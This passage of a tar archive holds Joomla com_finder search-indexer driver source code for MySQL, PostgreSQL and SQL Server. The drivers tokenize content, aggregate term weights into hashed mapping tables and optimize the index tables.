			', ' . $db->quoteName('weight') .
			', ' . $db->quoteName('soundex') .
			', ' . $db->quoteName('language') . ')' .
			' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term), ta.language' .
			' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' .
			' WHERE ta.term_id = 0' .
			' GROUP BY ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term), ta.language'
		);
		$db->execute();

		/*
		 * Now, we just inserted a bunch of new records into the terms table
		 * so we need to go back and update the aggregate table with all the
		 * new term ids.
		 */
		$query = $db->getQuery(true)
			->update($db->quoteName('#__finder_tokens_aggregate') . ' AS ta')
			->join('INNER', $db->quoteName('#__finder_terms') . ' AS t ON t.term = ta.term')
			->set('ta.term_id = t.term_id')
			->where('ta.term_id = 0');
		$db->setQuery($query);
		$db->execute();

		// Mark afterTerms in the profiler.
		static::$profiler ? static::$profiler->mark('afterTerms') : null;

		/*
		 * After we've made sure that all of the terms are in the terms table
		 * and the aggregate table has the correct term ids, we need to update
		 * the links counter for each term by one.
		 */
		$query->clear()
			->update($db->quoteName('#__finder_terms') . ' AS t')
			->join('INNER', $db->quoteName('#__finder_tokens_aggregate') . ' AS ta ON ta.term_id = t.term_id')
			->set('t.' . $db->quoteName('links') . ' = t.links + 1');
		$db->setQuery($query);
		$db->execute();

		// Mark afterTerms in the profiler.
		static::$profiler ? static::$profiler->mark('afterTerms') : null;

		/*
		 * Before we can insert all of the mapping rows, we have to figure out
		 * which mapping table the rows need to be inserted into. The mapping
		 * table for each term is based on the first character of the md5 of
		 * the first character of the term. In php, it would be expressed as
		 * substr(md5(substr($token, 0, 1)), 0, 1)
		 */
		$query->clear()
			->update($db->quoteName('#__finder_tokens_aggregate'))
			->set($db->quoteName('map_suffix') . ' = SUBSTR(MD5(SUBSTR(' . $db->quoteName('term') . ', 1, 1)), 1, 1)');
		$db->setQuery($query);
		$db->execute();

		/*
		 * At this point, the aggregate table contains a record for each
		 * term in each context. So, we're going to pull down all of that
		 * data while grouping the records by term and add all of the
		 * sub-totals together to arrive at the final total for each token for
		 * this link. Then, we insert all of that data into the appropriate
		 * mapping table.
		 */
		for ($i = 0; $i <= 15; $i++)
		{
			// Get the mapping table suffix.
			$suffix = dechex($i);

			/*
			 * We have to run this query 16 times, one for each link => term
			 * mapping table.
			 */
			$db->setQuery(
				'INSERT INTO ' . $db->quoteName('#__finder_links_terms' . $suffix) .
				' (' . $db->quoteName('link_id') .
				', ' . $db->quoteName('term_id') .
				', ' . $db->quoteName('weight') . ')' .
				' SELECT ' . (int) $linkId . ', ' . $db->quoteName('term_id') . ',' .
				' ROUND(SUM(' . $db->quoteName('context_weight') . '), 8)' .
				' FROM ' . $db->quoteName('#__finder_tokens_aggregate') .
				' WHERE ' . $db->quoteName('map_suffix') . ' = ' . $db->quote($suffix) .
				' GROUP BY ' . $db->quoteName('term') . ', ' . $db->quoteName('term_id') .
				' ORDER BY ' . $db->quoteName('term') . ' DESC'
			);
			$db->execute();
		}

		// Mark afterMapping in the profiler.
		static::$profiler ? static::$profiler->mark('afterMapping') : null;

		// Update the signature.
		$object = serialize($item);
		$query->clear()
			->update($db->quoteName('#__finder_links'))
			->set($db->quoteName('md5sum') . ' = ' . $db->quote($curSig))
			->set($db->quoteName('object') . ' = ' . $db->quote($object))
			->where($db->quoteName('link_id') . ' = ' . $db->quote($linkId));
		$db->setQuery($query);
		$db->execute();

		// Mark afterSigning in the profiler.
		static::$profiler ? static::$profiler->mark('afterSigning') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		// Toggle the token tables back to memory tables.
		$this->toggleTables(true);

		// Mark afterTruncating in the profiler.
		static::$profiler ? static::$profiler->mark('afterTruncating') : null;

		return $linkId;
	}

	/**
	 * Method to optimize the index. We use this method to remove unused terms
	 * and any other optimizations that might be necessary.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.0
	 * @throws  Exception on database error.
	 */
	public function optimize()
	{
		// Get the database object.
		$db = $this->db;
		$query = $db->getQuery(true);

		// Delete all orphaned terms.
		$query->delete($db->quoteName('#__finder_terms'))
			->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query);
		$db->execute();

		// Optimize the links table.
		$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links'));
		$db->execute();

		for ($i = 0; $i <= 15; $i++)
		{
			// Optimize the terms mapping table.
			$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_links_terms' . dechex($i)));
			$db->execute();
		}

		// Optimize the filters table.
		$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_filters'));
		$db->execute();

		// Optimize the terms common table.
		$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_terms_common'));
		$db->execute();

		// Optimize the types table.
		$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_types'));
		$db->execute();

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		// Optimize the taxonomy mapping table.
		$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_taxonomy_map'));
		$db->execute();

		// Optimize the taxonomy table.
		$db->setQuery('OPTIMIZE TABLE ' . $db->quoteName('#__finder_taxonomy'));
		$db->execute();

		return true;
	}


	/**
	 * Method to switch the token tables from Memory tables to MyISAM tables
	 * when they are close to running out of memory.
	 *
	 * @param   boolean  $memory  Flag to control how they should be toggled.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.0
	 * @throws  Exception on database error.
	 */
	protected function toggleTables($memory)
	{
		static $state;

		// Get the database adapter.
		$db = $this->db;

		// Check if we are setting the tables to the Memory engine.
		if ($memory === true && $state !== true)
		{
			// Set the tokens table to Memory.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MEMORY');
			$db->execute();

			// Set the tokens aggregate table to Memory.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MEMORY');
			$db->execute();

			// Set the internal state.
			$state = $memory;
		}
		// We must be setting the tables to the MyISAM engine.
		elseif ($memory === false && $state !== false)
		{
			// Set the tokens table to MyISAM.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MYISAM');
			$db->execute();

			// Set the tokens aggregate table to MyISAM.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MYISAM');
			$db->execute();

			// Set the internal state.
			$state = $memory;
		}

		return true;
	}
}
com_finder/helpers/indexer/driver/postgresql.php000060400000037550152455305310016171 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\String\StringHelper;

jimport('joomla.filesystem.file');

/**
 * Indexer class supporting PostgreSQL for the Finder indexer package.
 *
 * @since  3.0
 */
class FinderIndexerDriverPostgresql extends FinderIndexer
{
	/**
	 * Method to index a content item.
	 *
	 * @param   FinderIndexerResult  $item    The content item to index.
	 * @param   string               $format  The format of the content. [optional]
	 *
	 * @return  integer  The ID of the record in the links table.
	 *
	 * @since   3.0
	 * @throws  Exception on database error.
	 */
	public function index($item, $format = 'html')
	{
		// Mark beforeIndexing in the profiler.
		static::$profiler ? static::$profiler->mark('beforeIndexing') : null;
		$db = $this->db;
		$nd = $db->getNullDate();

		// Check if the item is in the database.
		$query = $db->getQuery(true)
			->select($db->quoteName('link_id') . ', ' . $db->quoteName('md5sum'))
			->from($db->quoteName('#__finder_links'))
			->where($db->quoteName('url') . ' = ' . $db->quote($item->url));

		// Load the item  from the database.
		$db->setQuery($query);
		$link = $db->loadObject();

		// Get the indexer state.
		$state = static::getState();

		// Get the signatures of the item.
		$curSig = static::getSignature($item);
		$oldSig = isset($link->md5sum) ? $link->md5sum : null;

		// Get the other item information.
		$linkId = empty($link->link_id) ? null : $link->link_id;
		$isNew = empty($link->link_id) ? true : false;

		// Check the signatures. If they match, the item is up to date.
		if (!$isNew && $curSig === $oldSig)
		{
			return $linkId;
		}

		/*
		 * If the link already exists, flush all the term maps for the item.
		 * Maps are stored in 16 tables so we need to iterate through and flush
		 * each table one at a time.
		 */
		if (!$isNew)
		{
			for ($i = 0; $i <= 15; $i++)
			{
				// Flush the maps for the link.
				$query->clear()
					->delete($db->quoteName('#__finder_links_terms' . dechex($i)))
					->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
				$db->setQuery($query);
				$db->execute();
			}

			// Remove the taxonomy maps.
			FinderIndexerTaxonomy::removeMaps($linkId);
		}

		// Mark afterUnmapping in the profiler.
		static::$profiler ? static::$profiler->mark('afterUnmapping') : null;

		// Perform cleanup on the item data.
		$item->publish_start_date = (int) $item->publish_start_date != 0 ? $item->publish_start_date : $nd;
		$item->publish_end_date = (int) $item->publish_end_date != 0 ? $item->publish_end_date : $nd;
		$item->start_date = (int) $item->start_date != 0 ? $item->start_date : $nd;
		$item->end_date = (int) $item->end_date != 0 ? $item->end_date : $nd;

		// Prepare the item description.
		$item->description = FinderIndexerHelper::parse($item->summary);

		/*
		 * Now, we need to enter the item into the links table. If the item
		 * already exists in the database, we need to use an UPDATE query.
		 * Otherwise, we need to use an INSERT to get the link id back.
		 */

		$entry = new stdClass;
		$entry->url = $item->url;
		$entry->route = $item->route;
		$entry->title = $item->title;

		// We are shortening the description in order to not run into length issues with this field
		$entry->description = StringHelper::substr($item->description, 0, 32000);
		$entry->indexdate = Factory::getDate()->toSql();
		$entry->state = (int) $item->state;
		$entry->access = (int) $item->access;
		$entry->language = $item->language;
		$entry->type_id = (int) $item->type_id;
		$entry->object = '';
		$entry->publish_start_date = $item->publish_start_date;
		$entry->publish_end_date = $item->publish_end_date;
		$entry->start_date = $item->start_date;
		$entry->end_date = $item->end_date;
		$entry->list_price = (double) ($item->list_price ?: 0);
		$entry->sale_price = (double) ($item->sale_price ?: 0);

		if ($isNew)
		{
			// Insert the link and get its id.
			$db->insertObject('#__finder_links', $entry);
			$linkId = (int) $db->insertid();
		}
		else
		{
			// Update the link.
			$entry->link_id = $linkId;
			$db->updateObject('#__finder_links', $entry, 'link_id');
		}

		// Set up the variables we will need during processing.
		$count = 0;

		// Mark afterLinking in the profiler.
		static::$profiler ? static::$profiler->mark('afterLinking') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		/*
		 * Process the item's content. The items can customize their
		 * processing instructions to define extra properties to process
		 * or rearrange how properties are weighted.
		 */
		foreach ($item->getInstructions() as $group => $properties)
		{
			// Iterate through the properties of the group.
			foreach ($properties as $property)
			{
				// Check if the property exists in the item.
				if (empty($item->$property))
				{
					continue;
				}

				// Tokenize the property.
				if (is_array($item->$property))
				{
					// Tokenize an array of content and add it to the database.
					foreach ($item->$property as $ip)
					{
						/*
						 * If the group is path, we need to a few extra processing
						 * steps to strip the extension and convert slashes and dashes
						 * to spaces.
						 */
						if ($group === static::PATH_CONTEXT)
						{
							$ip = JFile::stripExt($ip);
							$ip = str_replace(array('/', '-'), ' ', $ip);
						}

						// Tokenize a string of content and add it to the database.
						$count += $this->tokenizeToDb($ip, $group, $item->language, $format);

						// Check if we're approaching the memory limit of the token table.
						if ($count > static::$state->options->get('memory_table_limit', 30000))
						{
							$this->toggleTables(false);
						}
					}
				}
				else
				{
					/*
					 * If the group is path, we need to a few extra processing
					 * steps to strip the extension and convert slashes and dashes
					 * to spaces.
					 */
					if ($group === static::PATH_CONTEXT)
					{
						$item->$property = JFile::stripExt($item->$property);
						$item->$property = str_replace('/', ' ', $item->$property);
						$item->$property = str_replace('-', ' ', $item->$property);
					}

					// Tokenize a string of content and add it to the database.
					$count += $this->tokenizeToDb($item->$property, $group, $item->language, $format);

					// Check if we're approaching the memory limit of the token table.
					if ($count > static::$state->options->get('memory_table_limit', 30000))
					{
						$this->toggleTables(false);
					}
				}
			}
		}

		/*
		 * Process the item's taxonomy. The items can customize their
		 * taxonomy mappings to define extra properties to map.
		 */
		foreach ($item->getTaxonomy() as $branch => $nodes)
		{
			// Iterate through the nodes and map them to the branch.
			foreach ($nodes as $node)
			{
				// Add the node to the tree.
				$nodeId = FinderIndexerTaxonomy::addNode($branch, $node->title, $node->state, $node->access);

				// Add the link => node map.
				FinderIndexerTaxonomy::addMap($linkId, $nodeId);
			}
		}

		// Mark afterProcessing in the profiler.
		static::$profiler ? static::$profiler->mark('afterProcessing') : null;

		/*
		 * At this point, all of the item's content has been parsed, tokenized
		 * and inserted into the #__finder_tokens table. Now, we need to
		 * aggregate all the data into that table into a more usable form. The
		 * aggregated data will be inserted into #__finder_tokens_aggregate
		 * table.
		 */
		$query = 'INSERT INTO ' . $db->quoteName('#__finder_tokens_aggregate') .
			' (' . $db->quoteName('term_id') .
			', ' . $db->quoteName('map_suffix') .
			', ' . $db->quoteName('term') .
			', ' . $db->quoteName('stem') .
			', ' . $db->quoteName('common') .
			', ' . $db->quoteName('phrase') .
			', ' . $db->quoteName('term_weight') .
			', ' . $db->quoteName('context') .
			', ' . $db->quoteName('context_weight') .
			', ' . $db->quoteName('total_weight') .
			', ' . $db->quoteName('language') . ')' .
			' SELECT' .
			' COALESCE(t.term_id, 0), \'\', t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context,' .
			' ROUND( t1.weight * COUNT( t2.term ) * %F, 8 ) AS context_weight, 0, t1.language' .
			' FROM (' .
			'   SELECT DISTINCT t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context, t1.language' .
			'   FROM ' . $db->quoteName('#__finder_tokens') . ' AS t1' .
			'   WHERE t1.context = %d' .
			' ) AS t1' .
			' JOIN ' . $db->quoteName('#__finder_tokens') . ' AS t2 ON t2.term = t1.term AND t2.language = t1.language' .
			' LEFT JOIN ' . $db->quoteName('#__finder_terms') . ' AS t ON t.term = t1.term ' .
			' WHERE t2.context = %d' .
			' GROUP BY t1.term, t.term_id, t1.stem, t1.common, t1.phrase, t1.weight, t1.context, t1.language' .
			' ORDER BY t1.term DESC';

		// Iterate through the contexts and aggregate the tokens per context.
		foreach ($state->weights as $context => $multiplier)
		{
			// Run the query to aggregate the tokens for this context..
			$db->setQuery(sprintf($query, $multiplier, $context, $context));
			$db->execute();
		}

		// Mark afterAggregating in the profiler.
		static::$profiler ? static::$profiler->mark('afterAggregating') : null;

		/*
		 * When we pulled down all of the aggregate data, we did a LEFT JOIN
		 * over the terms table to try to find all the term ids that
		 * already exist for our tokens. If any of the rows in the aggregate
		 * table have a term of 0, then no term record exists for that
		 * term so we need to add it to the terms table.
		 */
		$db->setQuery(
			'INSERT INTO ' . $db->quoteName('#__finder_terms') .
			' (' . $db->quoteName('term') .
			', ' . $db->quoteName('stem') .
			', ' . $db->quoteName('common') .
			', ' . $db->quoteName('phrase') .
			', ' . $db->quoteName('weight') .
			', ' . $db->quoteName('soundex') .
			', ' . $db->quoteName('language') . ')' .
			' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term), ta.language' .
			' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' .
			' WHERE ta.term_id = 0' .
			' GROUP BY ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term), ta.language'
		);
		$db->execute();

		/*
		 * Now, we just inserted a bunch of new records into the terms table
		 * so we need to go back and update the aggregate table with all the
		 * new term ids.
		 */
		$query = $db->getQuery(true)
			->update($db->quoteName('#__finder_tokens_aggregate') . ' AS ta')
			->join('INNER', $db->quoteName('#__finder_terms') . ' AS t ON t.term = ta.term')
			->set('term_id = t.term_id')
			->where('ta.term_id = 0');
		$db->setQuery($query);
		$db->execute();

		// Mark afterTerms in the profiler.
		static::$profiler ? static::$profiler->mark('afterTerms') : null;

		/*
		 * After we've made sure that all of the terms are in the terms table
		 * and the aggregate table has the correct term ids, we need to update
		 * the links counter for each term by one.
		 */
		$query->clear()
			->update($db->quoteName('#__finder_terms') . ' AS t')
			->join('INNER', $db->quoteName('#__finder_tokens_aggregate') . ' AS ta ON ta.term_id = t.term_id')
			->set($db->quoteName('links') . ' = t.links + 1');
		$db->setQuery($query);
		$db->execute();

		// Mark afterTerms in the profiler.
		static::$profiler ? static::$profiler->mark('afterTerms') : null;

		/*
		 * Before we can insert all of the mapping rows, we have to figure out
		 * which mapping table the rows need to be inserted into. The mapping
		 * table for each term is based on the first character of the md5 of
		 * the first character of the term. In php, it would be expressed as
		 * substr(md5(substr($token, 0, 1)), 0, 1)
		 */
		$query->clear()
			->update($db->quoteName('#__finder_tokens_aggregate'))
			->set($db->quoteName('map_suffix') . ' = SUBSTR(MD5(SUBSTR(' . $db->quoteName('term') . ', 1, 1)), 1, 1)');
		$db->setQuery($query);
		$db->execute();

		/*
		 * At this point, the aggregate table contains a record for each
		 * term in each context. So, we're going to pull down all of that
		 * data while grouping the records by term and add all of the
		 * sub-totals together to arrive at the final total for each token for
		 * this link. Then, we insert all of that data into the appropriate
		 * mapping table.
		 */
		for ($i = 0; $i <= 15; $i++)
		{
			// Get the mapping table suffix.
			$suffix = dechex($i);

			/*
			 * We have to run this query 16 times, one for each link => term
			 * mapping table.
			 */
			$db->setQuery(
				'INSERT INTO ' . $db->quoteName('#__finder_links_terms' . $suffix) .
				' (' . $db->quoteName('link_id') .
				', ' . $db->quoteName('term_id') .
				', ' . $db->quoteName('weight') . ')' .
				' SELECT ' . (int) $linkId . ', ' . $db->quoteName('term_id') . ',' .
				' ROUND(SUM(' . $db->quoteName('context_weight') . '), 8)' .
				' FROM ' . $db->quoteName('#__finder_tokens_aggregate') .
				' WHERE ' . $db->quoteName('map_suffix') . ' = ' . $db->quote($suffix) .
				' GROUP BY ' . $db->quoteName('term') . ', ' . $db->quoteName('term_id') .
				' ORDER BY ' . $db->quoteName('term') . ' DESC'
			);
			$db->execute();
		}

		// Mark afterMapping in the profiler.
		static::$profiler ? static::$profiler->mark('afterMapping') : null;

		// Update the signature.
		$object = serialize($item);
		$query->clear()
			->update($db->quoteName('#__finder_links'))
			->set($db->quoteName('md5sum') . ' = ' . $db->quote($curSig))
			->set($db->quoteName('object') . ' = ' . $db->quote(pg_escape_bytea($object)))
			->where($db->quoteName('link_id') . ' = ' . $db->quote($linkId));
		$db->setQuery($query);
		$db->execute();

		// Mark afterSigning in the profiler.
		static::$profiler ? static::$profiler->mark('afterSigning') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		// Toggle the token tables back to memory tables.
		$this->toggleTables(true);

		// Mark afterTruncating in the profiler.
		static::$profiler ? static::$profiler->mark('afterTruncating') : null;

		return $linkId;
	}

	/**
	 * Method to optimize the index. We use this method to remove unused terms
	 * and any other optimizations that might be necessary.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function optimize()
	{
		// Get the database object.
		$db = $this->db;
		$query = $db->getQuery(true);

		// Delete all orphaned terms.
		$query->delete($db->quoteName('#__finder_terms'))
			->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query);
		$db->execute();

		// Optimize the links table.
		$db->setQuery('VACUUM ' . $db->quoteName('#__finder_links'));
		$db->execute();
		$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_links'));
		$db->execute();

		for ($i = 0; $i <= 15; $i++)
		{
			// Optimize the terms mapping table.
			$db->setQuery('VACUUM ' . $db->quoteName('#__finder_links_terms' . dechex($i)));
			$db->execute();
			$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_links_terms' . dechex($i)));
			$db->execute();
		}

		// Optimize the filters table.
		$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_filters'));
		$db->execute();

		// Optimize the terms common table.
		$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_terms_common'));
		$db->execute();

		// Optimize the types table.
		$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_types'));
		$db->execute();

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		// Optimize the taxonomy mapping table.
		$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_taxonomy_map'));
		$db->execute();

		// Optimize the taxonomy table.
		$db->setQuery('REINDEX TABLE ' . $db->quoteName('#__finder_taxonomy'));
		$db->execute();

		return true;
	}
}
com_finder/helpers/indexer/driver/sqlsrv.php000060400000043472152455305310015320 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');

/**
 * Indexer class supporting SQL Server for the Finder indexer package.
 *
 * The indexer class provides the core functionality of the Finder
 * search engine. It is responsible for adding and updating the
 * content links table; extracting and scoring tokens; and maintaining
 * all referential information for the content.
 *
 * Note: All exceptions thrown from within this class should be caught
 * by the controller.
 *
 * @since  3.1
 */
class FinderIndexerDriverSqlsrv extends FinderIndexer
{
	/**
	 * Method to index a content item.
	 *
	 * @param   FinderIndexerResult  $item    The content item to index.
	 * @param   string               $format  The format of the content. [optional]
	 *
	 * @return  integer  The ID of the record in the links table.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function index($item, $format = 'html')
	{
		// Mark beforeIndexing in the profiler.
		static::$profiler ? static::$profiler->mark('beforeIndexing') : null;
		$db = $this->db;
		$nd = $db->getNullDate();

		// Check if the item is in the database.
		$query = $db->getQuery(true)
			->select($db->quoteName('link_id') . ', ' . $db->quoteName('md5sum'))
			->from($db->quoteName('#__finder_links'))
			->where($db->quoteName('url') . ' = ' . $db->quote($item->url));

		// Load the item  from the database.
		$db->setQuery($query);
		$link = $db->loadObject();

		// Get the indexer state.
		$state = static::getState();

		// Get the signatures of the item.
		$curSig = static::getSignature($item);
		$oldSig = isset($link->md5sum) ? $link->md5sum : null;

		// Get the other item information.
		$linkId = empty($link->link_id) ? null : $link->link_id;
		$isNew = empty($link->link_id) ? true : false;

		// Check the signatures. If they match, the item is up to date.
		if (!$isNew && $curSig === $oldSig)
		{
			return $linkId;
		}

		/*
		 * If the link already exists, flush all the term maps for the item.
		 * Maps are stored in 16 tables so we need to iterate through and flush
		 * each table one at a time.
		 */
		if (!$isNew)
		{
			for ($i = 0; $i <= 15; $i++)
			{
				// Flush the maps for the link.
				$query->clear()
					->delete($db->quoteName('#__finder_links_terms' . dechex($i)))
					->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
				$db->setQuery($query);
				$db->execute();
			}

			// Remove the taxonomy maps.
			FinderIndexerTaxonomy::removeMaps($linkId);
		}

		// Mark afterUnmapping in the profiler.
		static::$profiler ? static::$profiler->mark('afterUnmapping') : null;

		// Perform cleanup on the item data.
		$item->publish_start_date = (int) $item->publish_start_date != 0 ? $item->publish_start_date : $nd;
		$item->publish_end_date = (int) $item->publish_end_date != 0 ? $item->publish_end_date : $nd;
		$item->start_date = (int) $item->start_date != 0 ? $item->start_date : $nd;
		$item->end_date = (int) $item->end_date != 0 ? $item->end_date : $nd;

		// Prepare the item description.
		$item->description = FinderIndexerHelper::parse($item->summary);

		/*
		 * Now, we need to enter the item into the links table. If the item
		 * already exists in the database, we need to use an UPDATE query.
		 * Otherwise, we need to use an INSERT to get the link id back.
		 */

		if ($isNew)
		{
			$columnsArray = array(
				$db->quoteName('url'), $db->quoteName('route'), $db->quoteName('title'), $db->quoteName('description'),
				$db->quoteName('indexdate'), $db->quoteName('published'), $db->quoteName('state'), $db->quoteName('access'),
				$db->quoteName('language'), $db->quoteName('type_id'), $db->quoteName('object'), $db->quoteName('publish_start_date'),
				$db->quoteName('publish_end_date'), $db->quoteName('start_date'), $db->quoteName('end_date'), $db->quoteName('list_price'),
				$db->quoteName('sale_price')
			);

			// Insert the link.
			$query->clear()
				->insert($db->quoteName('#__finder_links'))
				->columns($columnsArray)
				->values(
					$db->quote($item->url) . ', '
					. $db->quote($item->route) . ', '
					. $db->quote($item->title) . ', '
					. $db->quote($item->description) . ', '
					. $query->currentTimestamp() . ', '
					. '1, '
					. (int) $item->state . ', '
					. (int) $item->access . ', '
					. $db->quote($item->language) . ', '
					. (int) $item->type_id . ', '
					. $db->quote(serialize($item)) . ', '
					. $db->quote($item->publish_start_date) . ', '
					. $db->quote($item->publish_end_date) . ', '
					. $db->quote($item->start_date) . ', '
					. $db->quote($item->end_date) . ', '
					. (double) ($item->list_price ?: 0) . ', '
					. (double) ($item->sale_price ?: 0)
				);
			$db->setQuery($query);
			$db->execute();

			// Get the link id.
			$linkId = (int) $db->insertid();
		}
		else
		{
			// Update the link.
			$query->clear()
				->update($db->quoteName('#__finder_links'))
				->set($db->quoteName('route') . ' = ' . $db->quote($item->route))
				->set($db->quoteName('title') . ' = ' . $db->quote($item->title))
				->set($db->quoteName('description') . ' = ' . $db->quote($item->description))
				->set($db->quoteName('indexdate') . ' = ' . $query->currentTimestamp())
				->set($db->quoteName('state') . ' = ' . (int) $item->state)
				->set($db->quoteName('access') . ' = ' . (int) $item->access)
				->set($db->quoteName('language') . ' = ' . $db->quote($item->language))
				->set($db->quoteName('type_id') . ' = ' . (int) $item->type_id)
				->set($db->quoteName('object') . ' = ' . $db->quote(serialize($item)))
				->set($db->quoteName('publish_start_date') . ' = ' . $db->quote($item->publish_start_date))
				->set($db->quoteName('publish_end_date') . ' = ' . $db->quote($item->publish_end_date))
				->set($db->quoteName('start_date') . ' = ' . $db->quote($item->start_date))
				->set($db->quoteName('end_date') . ' = ' . $db->quote($item->end_date))
				->set($db->quoteName('list_price') . ' = ' . (double) ($item->list_price ?: 0))
				->set($db->quoteName('sale_price') . ' = ' . (double) ($item->sale_price ?: 0))
				->where('link_id = ' . (int) $linkId);
			$db->setQuery($query);
			$db->execute();
		}

		// Set up the variables we will need during processing.
		$count = 0;

		// Mark afterLinking in the profiler.
		static::$profiler ? static::$profiler->mark('afterLinking') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		/*
		 * Process the item's content. The items can customize their
		 * processing instructions to define extra properties to process
		 * or rearrange how properties are weighted.
		 */
		foreach ($item->getInstructions() as $group => $properties)
		{
			// Iterate through the properties of the group.
			foreach ($properties as $property)
			{
				// Check if the property exists in the item.
				if (empty($item->$property))
				{
					continue;
				}

				// Tokenize the property.
				if (is_array($item->$property))
				{
					// Tokenize an array of content and add it to the database.
					foreach ($item->$property as $ip)
					{
						/*
						 * If the group is path, we need to a few extra processing
						 * steps to strip the extension and convert slashes and dashes
						 * to spaces.
						 */
						if ($group === static::PATH_CONTEXT)
						{
							$ip = JFile::stripExt($ip);
							$ip = str_replace(array('/', '-'), ' ', $ip);
						}

						// Tokenize a string of content and add it to the database.
						$count += $this->tokenizeToDb($ip, $group, $item->language, $format);

						// Check if we're approaching the memory limit of the token table.
						if ($count > static::$state->options->get('memory_table_limit', 30000))
						{
							$this->toggleTables(false);
						}
					}
				}
				else
				{
					/*
					 * If the group is path, we need to a few extra processing
					 * steps to strip the extension and convert slashes and dashes
					 * to spaces.
					 */
					if ($group === static::PATH_CONTEXT)
					{
						$item->$property = JFile::stripExt($item->$property);
						$item->$property = str_replace('/', ' ', $item->$property);
						$item->$property = str_replace('-', ' ', $item->$property);
					}

					// Tokenize a string of content and add it to the database.
					$count += $this->tokenizeToDb($item->$property, $group, $item->language, $format);

					// Check if we're approaching the memory limit of the token table.
					if ($count > static::$state->options->get('memory_table_limit', 30000))
					{
						$this->toggleTables(false);
					}
				}
			}
		}

		/*
		 * Process the item's taxonomy. The items can customize their
		 * taxonomy mappings to define extra properties to map.
		 */
		foreach ($item->getTaxonomy() as $branch => $nodes)
		{
			// Iterate through the nodes and map them to the branch.
			foreach ($nodes as $node)
			{
				// Add the node to the tree.
				$nodeId = FinderIndexerTaxonomy::addNode($branch, $node->title, $node->state, $node->access);

				// Add the link => node map.
				FinderIndexerTaxonomy::addMap($linkId, $nodeId);
			}
		}

		// Mark afterProcessing in the profiler.
		static::$profiler ? static::$profiler->mark('afterProcessing') : null;

		/*
		 * At this point, all of the item's content has been parsed, tokenized
		 * and inserted into the #__finder_tokens table. Now, we need to
		 * aggregate all the data into that table into a more usable form. The
		 * aggregated data will be inserted into #__finder_tokens_aggregate
		 * table.
		 */
		$query = 'INSERT INTO ' . $db->quoteName('#__finder_tokens_aggregate') .
				' (' . $db->quoteName('term_id') .
				', ' . $db->quoteName('term') .
				', ' . $db->quoteName('stem') .
				', ' . $db->quoteName('common') .
				', ' . $db->quoteName('phrase') .
				', ' . $db->quoteName('term_weight') .
				', ' . $db->quoteName('context') .
				', ' . $db->quoteName('context_weight') .
				', ' . $db->quoteName('language') . ')' .
				' SELECT' .
				' t.term_id, t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context,' .
				' ROUND( t1.weight * COUNT( t2.term ) * %F, 8 ) AS context_weight, t1.language' .
				' FROM (' .
				'   SELECT DISTINCT t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context, t1.language' .
				'   FROM ' . $db->quoteName('#__finder_tokens') . ' AS t1' .
				'   WHERE t1.context = %d' .
				' ) AS t1' .
				' JOIN ' . $db->quoteName('#__finder_tokens') . ' AS t2 ON t2.term = t1.term' .
